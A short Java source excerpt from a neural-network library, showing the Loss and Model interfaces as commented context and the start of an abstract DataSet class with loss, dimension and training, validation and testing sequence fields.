// Path: src/loss/Loss.java // public interface Loss extends Serializable { // void backward(Matrix actualOutput, Matrix targetOutput) throws Exception; // double measure(Matrix actualOutput, Matrix targetOutput) throws Exception; // } // // Path: src/model/Model.java // public interface Model extends Serializable { // Matrix forward(Matrix input, Graph g) throws Exception; // void resetState(); // List<Matrix> getParameters(); // } // Path: src/datastructs/DataSet.java import java.io.Serializable; import java.util.List; import java.util.Random; import loss.Loss; import model.Model; import model.Nonlinearity; package datastructs; public abstract class DataSet implements Serializable { public int inputDimension; public int outputDimension; public Loss lossTraining; public Loss lossReporting; public List<DataSequence> training; public List<DataSequence> validation; public List<DataSequence> testing;
public abstract void DisplayReport(Model model, Random rng) throws Exception;